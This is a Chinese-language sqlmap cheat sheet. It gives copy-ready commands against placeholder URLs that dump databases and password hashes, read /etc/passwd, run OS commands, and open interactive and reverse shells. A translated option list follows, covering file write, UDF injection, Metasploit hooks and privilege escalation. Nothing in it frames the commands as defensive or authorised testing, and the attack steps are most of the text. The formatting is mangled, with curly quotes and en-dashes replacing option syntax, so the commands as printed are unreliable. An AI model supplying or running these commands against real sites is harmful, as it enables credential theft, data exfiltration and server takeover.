SQL注入命令
sqlmap -u “http://url/news?id=1″ –current-user #獲取當前使用者名稱稱
sqlmap -u “http://www.xxoo.com/news?id=1″ –current-db #獲取當前數 據庫名稱
sqlmap -u “http://www.xxoo.com/news?id=1″ –tables -D “db_name”#列 表名
sqlmap -u “http://url/news?id=1″ –columns -T “tablename”users-D “db_name”-v 0 #列欄位
sqlmap -u “http://url/news?id=1″ –dump -C “column_name” -T “table_name”-D “db_name”-v
0
獲取資訊
sqlmap -u “http://url/news?id=1″ –dbms “Mysql” –users # dbms 指定數 據庫型別
sqlmap -u “http://url/news?id=1″ –users #列資料庫使用者
sqlmap -u “http://url/news?id=1″ –dbs#列資料庫
sqlmap -u “http://url/news?id=1″ –passwords #資料庫使用者密碼
sqlmap -u “http://url/news?id=1″ –passwords-U root -v 0 #列出指定使用者 資料庫密碼
sqlmap -u “http://url/news?id=1″ –dump -C “password,user,id” -T “tablename”-D “db_name”
–start 1 –stop 20
sqlmap -u “http://url/news?id=1″ –dump-all -v 0 #列出所有資料庫所有表
sqlmap -u “http://url/news?id=1″ –privileges #檢視許可權
sqlmap -u “http://url/news?id=1″ –privileges -U root #檢視指定使用者許可權
sqlmap -u “http://url/news?id=1″ –is-dba -v 1 #是否是資料庫管理員
sqlmap -u “http://url/news?id=1″ –roles #列舉資料庫使用者角色
sqlmap -u “http://url/news?id=1″ –udf-inject
sqlmap -u “http://url/news?id=1″ –dump-all –exclude-sysdbs -v 0 #列 出當前庫所有表
sqlmap -u “http://url/news?id=1″ –union-cols #union 查詢表記錄
sqlmap -u “http://url/news?id=1″ –cookie “COOKIE_VALUE”#cookie注入
sqlmap -u “http://url/news?id=1″-b #獲取banner資訊
sqlmap -u “http://url/news?id=1″ –data “id=3″#post注入
sqlmap -u “http://url/news?id=1″-v 1 -f #指紋判別資料庫型別
sqlmap -u “http://url/news?id=1″ –proxy“http://127.0.0.1:8118” #代理注 入
sqlmap -u “http://url/news?id=1″–string”STRING_ON_TRUE_PAGE”# 指 定關鍵詞
sqlmap -u “http://url/news?id=1″ –sql-shell #執行指定sql命令
sqlmap -u “http://url/news?id=1″ –file /etc/passwd
sqlmap -u “http://url/news?id=1″ –os-cmd=whoami #執行系統命令
sqlmap -u “http://url/news?id=1″ –os-shell #系統互動shell
sqlmap -u “http://url/news?id=1″ –os-pwn #反彈shell
sqlmap -u “http://url/news?id=1″ –reg-read #讀取win系統登錄檔
sqlmap -u “http://url/news?id=1″ –dbs-o “sqlmap.log”#儲存進度
sqlmap -u “http://url/news?id=1″ –dbs -o “sqlmap.log” –resume #恢復 已儲存進度
–version 顯示程式的版本號並退出
-h, –help 顯示此幫助訊息並退出
-v VERBOSE 詳細級別:0-6(預設為1)
Target(目標): 以下至少需要設定其中一個選項,設定目標URL。
-d DIRECT 直接連線到資料庫。
-u URL, –url=URL 目標URL。
-l LIST 從Burp 或WebScarab 代理的日誌中解析目標。
-r REQUESTFILE 從一個檔案中載入HTTP 請求。
-g GOOGLEDORK 處理Google dork 的結果作為目標URL。
-c CONFIGFILE 從INI 配置檔案中載入選項。
–data=DATA 通過POST 傳送的資料字串
–cookie=COOKIE HTTP Cookie 頭
–cookie-urlencode URL 編碼生成的cookie 注入
–drop-set-cookie 忽略響應的Set –Cookie 頭資訊
–user-agent=AGENT 指定 HTTP User –Agent 頭
–random-agent 使用隨機選定的HTTP User –Agent 頭
–referer=REFERER 指定 HTTP Referer 頭
–headers=HEADERS 換行分開,加入其他的HTTP 頭
–auth-type=ATYPE HTTP 身份驗證型別(基本,摘要或NTLM)(Basic, Digest or NTLM)
–auth-cred=ACRED HTTP 身份驗證憑據(使用者名稱:密碼)
–auth-cert=ACERT HTTP 認證證書(key_file,cert_file)
–proxy=PROXY 使用HTTP 代理連線到目標URL
–proxy-cred=PCRED HTTP 代理身份驗證憑據(使用者名稱:密碼)
–ignore-proxy 忽略系統預設的HTTP 代理
–delay=DELAY 在每個HTTP 請求之間的延遲時間,單位為秒
–timeout=TIMEOUT 等待連線超時的時間(預設為30 秒)
–retries=RETRIES 連線超時後重新連線的時間(預設3)
–scope=SCOPE 從所提供的代理日誌中過濾器目標的正則表示式
–safe-url=SAFURL 在測試過程中經常訪問的url 地址
–safe-freq=SAFREQ 兩次訪問之間測試請求,給出安全的URL
Optimization(優化): 這些選項可用於優化SqlMap 的效能。
-o 開啟所有優化開關
–predict-output 預測常見的查詢輸出
–keep-alive 使用持久的HTTP(S)連線
–null-connection 從沒有實際的HTTP 響應體中檢索頁面長度
–threads=THREADS 最大的HTTP(S)請求併發量(預設為1)
列舉後端資料庫管理系統的資訊、表中的結構和資料
-b, –banner 檢索資料庫管理系統的標識
–current-user 檢索資料庫管理系統當前使用者
–current-db 檢索資料庫管理系統當前資料庫
–is-dba 檢測DBMS 當前使用者是否DBA
–users 列舉資料庫管理系統使用者
–passwords 列舉資料庫管理系統使用者密碼雜湊
–privileges 列舉資料庫管理系統使用者的許可權
–roles 列舉資料庫管理系統使用者的角色
–dbs 列舉資料庫管理系統資料庫
–tables 列舉的DBMS 資料庫中的表
–columns 列舉DBMS 資料庫表列
–dump 轉儲資料庫管理系統的資料庫中的表項
–dump-all 轉儲所有的DBMS 資料庫表中的條目
–search 搜尋列(S),表(S)和/或資料庫名稱(S)
-D DB 要進行列舉的資料庫名
-T TBL 要進行列舉的資料庫表
-C COL 要進行列舉的資料庫列
-U USER 用來進行列舉的資料庫使用者
–exclude-sysdbs 列舉表時排除系統資料庫
–start=LIMITSTART 第一個查詢輸出進入檢索
–stop=LIMITSTOP 最後查詢的輸出進入檢索
–first=FIRSTCHAR 第一個查詢輸出字的字元檢索
–last=LASTCHAR 最後查詢的輸出字字元檢索
–sql-query=QUERY 要執行的SQL 語句
–sql-shell 提示互動式SQL 的shell
Brute force(蠻力): 這些選項可以被用來執行蠻力檢查。
–common-tables 檢查存在共同表
–common-columns 檢查存在共同列
User-defined function injection(使用者自定義函式注入): 這些選項可以用來建立使用者自定義函式。
–udf-inject 注入使用者自定義函式
–shared-lib=SHLIB 共享庫的本地路徑
File system access(訪問檔案系統): 這些選項可以被用來訪問後端資料庫管理系統的底層檔案系統。
–file-read=RFILE 從後端的資料庫管理系統檔案系統讀取檔案
–file-write=WFILE 編輯後端的資料庫管理系統檔案系統上的本地檔案
–file-dest=DFILE 後端的資料庫管理系統寫入檔案的絕對路徑
Operating system access(作業系統訪問): 這些選項可以用於訪問後端資料庫管理系統的底層作業系統。
–os-cmd=OSCMD 執行作業系統命令
–os-shell 互動式的作業系統的shell
–os-pwn 獲取一個OOB shell,meterpreter 或VNC
–os-smbrelay 一鍵獲取一個OOB shell,meterpreter 或VNC
–os-bof 儲存過程緩衝區溢位利用
–priv-esc 資料庫程序使用者許可權提升
–msf-path=MSFPATH Metasploit Framework 本地的安裝路徑
–tmp-path=TMPPATH 遠端臨時檔案目錄的絕對路徑